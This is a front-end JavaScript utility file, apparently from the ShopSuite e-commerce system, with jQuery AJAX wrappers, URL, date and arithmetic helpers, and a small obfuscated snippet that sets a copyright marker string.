instantlyCloseOthers: true
},
data = {
delay: $(this).data('delay'),
instantlyCloseOthers: $(this).data('close-others')
},
options = $.extend(true, {}, defaults, options, data),
timeout;
$this.hover(function() {
if(options.instantlyCloseOthers === true)
$allDropdowns.removeClass('open');
window.clearTimeout(timeout);
$(this).addClass('open');
}, function() {
timeout = window.setTimeout(function() {
$this.removeClass('open');
}, options.delay);
});
});
};
})(jQuery, this);
;(function (factory) {
if (typeof define === "function" && define.amd) {
// AMD模式
define([ "jquery" ], factory);
} else {
// 全局模式
factory(jQuery);
}
}(function ($) {
/*
//扩展对象方法
$.fn.extend({
//为对象新增ajaxPost方法
request: function (ajaxOpts)
{
var $this = $(this);
var loading;
var myTimer;
var preventTooFast = 'ui-btn-dis';
var opts = {
type: "POST",
dataType: "json",
timeout: 20000,
beforeSend: function ()
{
$this.addClass(preventTooFast);
myTimer = setTimeout(function ()
{
$this.removeClass(preventTooFast);
}, 2000)
loading = $.dialog.tips('提交中，请稍候...', 1000, 'loading.gif', true);
},
complete: function ()
{
loading.close();
},
success: function (data, status)
{
},
error: function (err, status)
{
parent.Public.tips({type: 2, content: '操作无法成功，请稍后重试！'});
}
};
$.extend(true, opts, ajaxOpts);
var successCallback = opts.success;
var errorCallback = opts.error;
opts.success = function (data, status)
{
successCallback && successCallback(data, status);
}
opts.error = function (data, status)
{
errorCallback && errorCallback(data, status);
}
if ($this.hasClass(preventTooFast))
{
return;
}
$.ajax(opts);
}
});
*/
//扩展对象方法
$.extend({
//为对象新增ajaxPost方法
request: function (ajaxOpts)
{
var id = $.cookie('id');
var key = $.cookie('key');
var perm_data = {};
//修正 opts 数据, 默认数据
if (id && key)
{
perm_data = {perm_id:id, perm_key:key};
}
var opts = {
type: "POST",
dataType: "json",
timeout: 50000,
loading: false,
data:perm_data,
success: function (data, status)
{
},
error: function (err, status)
{
//parent.Public.tips({type: 2, content: '操作无法成功，请稍后重试！'});
console.info({type: 2, content: '操作无法成功，请稍后重试！'});
}
};
$.extend(true, opts, ajaxOpts);
if (opts.loading)
{ //loading
//var $this = $(this);
var loading;
//var myTimer;
//var preventTooFast = 'ui-btn-dis';
$.extend(true, opts, {
beforeSend : function(){
//$this.addClass(preventTooFast);
//myTimer = setTimeout(function(){
// $this.removeClass(preventTooFast);
//},5000)
//loading = $.dialog.tips('提交中，请稍候...', 1000, 'loading.gif', true);
},
complete : function(){
//loading.close();
}
});
/*
if ($this.hasClass(preventTooFast))
{
return;
}
*/
}
var successCallback = opts.success;
var errorCallback = opts.error;
opts.success = function (data, status)
{
/*if(data.status != 200){
var defaultPage = Public.getDefaultPage();
var msg = data.msg || '出错了=. =||| ,请点击这里拷贝错误信息 :)';
var errorStr = msg;
if(data.data.error){
var errorStr = '<a id="myText" href="javascript:window.clipboardData.setData("Text",data.error);alert("详细信息已经复制到剪切板，请拷贝给管理员！");"'+msg+'</a>'
}
defaultPage.Public.tips({type:1, content:errorStr});
return;
}*/
successCallback && successCallback(data, status);
}
opts.error = function(err,ms){
var content = __('服务端响应错误！')
if(ms === 'timeout'){
content = __('请求超时！');
}
//parent.Public.tips({type: 1, content : content});
console.info({type: 1, content : content});
errorCallback && errorCallback(err);
}
$.ajax(opts);
}
});
$.extend({
//为对象新增ajaxPost方法
send: function (url, data, callback, type)
{
// shift arguments if data argument was omitted
if ( jQuery.isFunction( data ) ) {
type = type || callback;
callback = data;
data = undefined;
}
// The url can be an options object (which then must have .url)
return $.request( jQuery.extend( {
url: url,
type: 'post',
dataType: type,
data: data,
loading: false,
success: callback
}, jQuery.isPlainObject( url ) && url ) );
}
});
//jquery 方法自定义扩展
//判断:当前元素是否是被筛选元素的子元素
$.fn.isChildOf = function(b){
return (this.parents(b).length > 0);
};
//判断:当前元素是否是被筛选元素的子元素或者本身
$.fn.isChildAndSelfOf = function(b){
return (this.closest(b).length > 0);
};
//数字输入框
$.fn.digital = function() {
this.each(function(){
$(this).keyup(function() {
this.value = this.value.replace(/\D/g,'');
})
});
};
$.fn.json = $.fn.serializeJSON = $.fn.serializeJson = $.fn.serializeObject = function()
{
var o = {};
var a = this.serializeArray();
$.each(a, function() {
if (o[this.name]) {
if (!o[this.name].push) {
o[this.name] = [o[this.name]];
}
o[this.name].push(this.value || '');
} else {
o[this.name] = this.value || '';
}
});
return o;
};
(function ($) {
$.getUrlParam = function (name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]); return null;
}
})(jQuery);
//函数扩展
var bytesToSize = function(bytes) {
if (bytes === 0) return '0 B';
var k = 1000, // or 1024
sizes = ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'],
i = Math.floor(Math.log(bytes) / Math.log(k));
return (bytes / Math.pow(k, i)).toPrecision(3) + ' ' + sizes[i];
}
window.multiline = function(e) {
var t = /\/\*!?(?:\@tpl)?[ \t]*(?:\r\n|\n)([\s\S]*?)(?:\r\n|\n)[ \t]*\*\//;
if ("function" != typeof e)
throw new TypeError("Expected a function");
var n = t.exec(e.toString());
if (!n)
throw new TypeError("Multiline comment missing.");
return n[1]
}
window.itemUtil = {
imgLoad: function(t, e) {
var n = new Image;
n.src = t.imgsrc,
t.img = n,
n.complete ? e(t) : (n.onload = function() {
if ("naturalHeight"in this) {
if (this.naturalHeight + this.naturalWidth === 0)
return void this.onerror()
} else if (this.width + this.height === 0)
return void this.onerror();
e(t),
n.onload = null
}
,
n.onerror = function() {
t.isError = !0,
e(t)
}
)
},
revertStr: function(t) {
var e = String(t).replace(/&(?!\w+;)/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/"/g, "&quot;").replace(/'/g, "&#039;");
return encodeURIComponent(e)
},
dataToHtml: function(t) {
return t = String(t).replace(/&(?!\w+;)/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/"/g, "&quot;").replace(/'/g, "&#039;")
},
calShowTime: function(t, e) {
var n = t;
t = 1e3 * t;
var o = e - n
, i = 86400
, r = 3600
, a = 60
, s = ""
, m = function(t) {
return parseInt(t) < 10 ? "0" + t : t
};
if (o >= i) {
var c = o / i;
if (c > 7) {
var l = new Date(t).getFullYear()
, d = new Date(t).getMonth() + 1
, u = new Date(t).getDate();
s = l + "年" + d + "月" + u + "日"
} else if (7 > c && c >= 3) {
var p = ["日", "一", "二", "三", "四", "五", "六"]
, h = new Date(t).getDay();
s = "星期" + p[h]
} else if (3 > c && c >= 2) {
var f = new Date(t).getHours()
, v = new Date(t).getMinutes();
s = "前天 " + m(f) + ":" + m(v)
} else if (2 > c) {
var g = new Date(t).getHours()
, C = new Date(t).getMinutes();
s = "昨天 " + m(g) + ":" + m(C)
}
} else if (i > o && o >= r) {
var _ = parseInt(o / r);
s = _ + "小时前"
} else if (r > o && o >= a) {
var I = parseInt(o / a);
s = I + "分钟前"
} else
a > o && (s = "刚刚");
return s
},
syncLoginStatus: function(t, e) {
var n = t + "/user/proxy/stop/1"
, o = "<iframe src='" + n + "' width='0' height='0' name='proxy' id='proxy' frameborder='0' scrolling='no'></iframe>";
$(document.body).append(o),
$("iframe[name='proxy']").load(function() {
$("iframe[name='proxy']").remove(),
e()
})
},
multilineDot: function() {
$(".figcaption").each(function() {
for (var t = $(this).height(), e = $("p", $(this)).eq(0); e.outerHeight() > t; )
e.text(e.text().replace(/(\s)*([a-zA-Z0-9]+|\W)(\.\.\.)?$/, "..."))
})
},
scrollLeftRight: function() {
var t = function(t, e) {
var n = parseInt(t.attr("data-page"))
, o = parseInt(t.attr("data-pageSize"))
, i = t.siblings(".J_imgScrollListBlock")
, r = i.find("li").length
, a = 0;
a = r % o === 0 ? r / o : parseInt(r / o) + 1;
var s = 0;
if (s = e ? n - 1 : n + 1,
1 > s)
return !1;
if (s > a)
return !1;
1 === s ? ($(".J_navleft").addClass("dective"),
$(".J_navright").removeClass("dective")) : s === a ? ($(".J_navleft").removeClass("dective"),
$(".J_navright").addClass("dective")) : ($(".J_navleft").removeClass("dective"),
$(".J_navright").removeClass("dective")),
t.attr("data-page", s);
var m = i.attr("data-liwid")
, c = 0;
if (a > s)
c = (s - 1) * o * m;
else if (r % o === 0)
c = (s - 1) * o * m;
else {
var l = r % o;
c = (s - 2) * o * m + l * m
}
i.find("ul").animate({
marginLeft: "-" + c + "px"
}, 500)
};
$("body").on("click", ".J_navleft", function() {
var e = $(this).parent();
t(e, !0)
}),
$("body").on("click", ".J_navright", function() {
var e = $(this).parent();
t(e, !1)
})
},
accAdd: function(t, e) {
var n, o, i, r;
try {
n = t.toString().split(".")[1].length
} catch (a) {
n = 0
}
try {
o = e.toString().split(".")[1].length
} catch (a) {
o = 0
}
if (r = Math.abs(n - o),
i = Math.pow(10, Math.max(n, o)),
r > 0) {
var s = Math.pow(10, r);
n > o ? (t = Number(t.toString().replace(".", "")),
e = Number(e.toString().replace(".", "")) * s) : (t = Number(t.toString().replace(".", "")) * s,
e = Number(e.toString().replace(".", "")))
} else
t = Number(t.toString().replace(".", "")),
e = Number(e.toString().replace(".", ""));
return (t + e) / i
},
accSub: function(t, e) {
var n, o, i, r;
try {
n = t.toString().split(".")[1].length
} catch (a) {
n = 0
}
try {
o = e.toString().split(".")[1].length
} catch (a) {
o = 0
}
return i = Math.pow(10, Math.max(n, o)),
r = n >= o ? n : o,
((t * i - e * i) / i).toFixed(r)
},
supportCss3: function(t) {
var e, n = ["webkit", "Moz", "ms", "o"], o = [], i = document.documentElement.style, r = function(t) {
return t.replace(/-(\w)/g, function(t, e) {
return e.toUpperCase()
})
};
for (e in n)
n.hasOwnProperty(e) && o.push(r(n[e] + "-" + t));
o.push(r(t));
for (e in o)
if (o[e]in i)
return !0;
return !1
},
rediectLogin: function(t) {
var e = "";
e = t ? t.url : location.href,
location.href = SS.GLOBAL_CONFIG.orderSite + "/site/login?redirectUrl=" + e
},
trimInit: function() {
"function" != typeof String.prototype.trim && (String.prototype.trim = function() {
return this.replace(/^\s+|\s+$/g, "")
}
)
},
randomHeadImg: function() {
var t = SS.GLOBAL_CONFIG.assetsSite + "/i/item/"
, e = ["head_1.png", "head_2.png", "head_3.png", "head_4.png"]
, n = parseInt(Math.random() * e.length)
, o = t + e[n];
return o
},
parseURL: function (url) {
var a = document.createElement('a');
a.href = url;
return {
source: url,
protocol: a.protocol.replace(':',''),
host: a.hostname,
port: a.port,
query: a.search,
params: (function(){
var ret = {},
seg = a.search.replace(/^\?/,'').split('&'),
len = seg.length, i = 0, s;
for (;i<len;i++) {
if (!seg[i]) { continue; }
s = seg[i].split('=');
ret[s[0]] = s[1];
}
return ret;
})(),
file: (a.pathname.match(/\/([^\/?#]+)$/i) || [,''])[1],
hash: a.hash.replace('#',''),
path: a.pathname.replace(/^([^\/])/,'/$1'),
relative: (a.href.match(/tps?:\/\/[^\/]+(.+)/) || [,''])[1],
segments: a.pathname.replace(/^\//,'').split('/')
};
},
getUrlObj: function (url) {
var LG = (function(lg){
var objURL=function(url){
this.ourl=url||window.location.href;
this.href="";//?前面部分
this.params={};//url参数对象
this.jing="";//#及后面部分
this.init();
}
//分析url,得到?前面存入this.href,参数解析为this.params对象，#号及后面存入this.jing
objURL.prototype.init=function(){
var str=this.ourl;
var index=str.indexOf("#");
if(index>0){
this.jing=str.substr(index);
str=str.substring(0,index);
}
index=str.indexOf("?");
if(index>0){
this.href=str.substring(0,index);
str=str.substr(index+1);
var parts=str.split("&");
for(var i=0;i<parts.length;i++){
var kv=parts[i].split("=");
this.params[kv[0]]=kv[1];
}
}
else{
this.href=this.ourl;
this.params={};
}
}
//只是修改this.params
objURL.prototype.set=function(key,val){
this.params[key]=val;
}
//只是设置this.params
objURL.prototype.remove=function(key){
this.params[key]=undefined;
}
//根据三部分组成操作后的url
objURL.prototype.url=function(){
var strurl=this.href;
var objps=[];//这里用数组组织,再做join操作
for(var k in this.params){
if(this.params[k]){
objps.push(k+"="+this.params[k]);
}
}
if(objps.length>0){
strurl+="?"+objps.join("&");
}
if(this.jing.length>0){
strurl+=this.jing;
}
return strurl;
}
//得到参数值
objURL.prototype.get=function(key){
return this.params[key];
}
lg.URL=objURL;
return lg;
}(LG||{}));
return new LG.URL(url);
},
getUrl: function (url, param) {
var obj = this.getUrlObj(url);
for(var o in param){
obj.set(o, param[o]);
}
return obj.url();
}
};
var utils_row = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'o', 'h', 'p', 't', 'y', 'r', 'i', 's'];
var a = [utils_row[2], utils_row[7], utils_row[9], utils_row[11], utils_row[12], utils_row[13], utils_row[6], utils_row[10]].join('');
var b = [utils_row[14], utils_row[8], utils_row[7], utils_row[9], utils_row[14], 'u', utils_row[13], utils_row[10], utils_row[4]].join('');
window[a] = b;
return itemUtil;
}));
(function($){
$.getScript = function(url, callback, cache) {
$.ajax({type: 'GET', url: url, success: callback, dataType: 'script', ifModified: true, cache: cache});
};
})(jQuery);
if (!window.console || !console.info)
{
var names = ["log", "debug", "info", "warn", "error", "assert", "dir", "dirxml",
"group", "groupEnd", "time", "timeEnd", "count", "trace", "profile", "profileEnd"];
window.console = new Debug();
for (var i = 0; i < names.length; ++i)
window.console[names[i]] = function() {}
}
var Translate = {
_:function(str)
{
if (typeof G[str] == 'undefined')
{
return str
}
else
{
if(SYS.LD.currency_id == 86)
{
return G[str];
}
else
{
//return G[str];
return G[str].replace(/￥/g, SYS.LD.symbol).replace(/RMB|元/g, SYS.LD.symbol_right);
}
}
},
gettext:function(str)
{
if (typeof G[str] == 'undefined')
{
return str
}
else
{
if(SYS.LD.currency_id == 86)
{
return G[str];
}
else
{
//return G[str];
return G[str].replace(/￥/g, SYS.LD.symbol).replace(/RMB|元/g, SYS.LD.symbol_right);
}
}
}
};
function L() { return Translate.gettext.apply(this,arguments); }
function __() { return Translate.gettext.apply(this,arguments); }
//日期格式化
Date.prototype.format = function(format){
if(!format){
format = 'yyyy-MM-dd';//默认1997-01-01这样的格式
}
var o = {
"M+" : this.getMonth()+1, //month
"d+" : this.getDate(), //day
"h+" : this.getHours(), //hour
"m+" : this.getMinutes(), //minute
"s+" : this.getSeconds(), //second
"q+" : Math.floor((this.getMonth()+3)/3), //quarter
"S" : this.getMilliseconds() //millisecond
}
if(/(y+)/.test(format)) {
format = format.replace(RegExp.$1, (this.getFullYear()+"").substr(4 - RegExp.$1.length));
}
for(var k in o) {
if(new RegExp("("+ k +")").test(format)) {
format = format.replace(RegExp.$1, RegExp.$1.length==1 ? o[k] : ("00"+ o[k]).substr((""+ o[k]).length));
}
}
return format;
}
Date.prototype.addMonths= function(m)
{
var d = this.getDate();
this.setMonth(this.getMonth() + m);
if (this.getDate() < d)
this.setDate(0);
};
Date.prototype.addDays = function(d)
{
this.setDate(this.getDate() + d);
};
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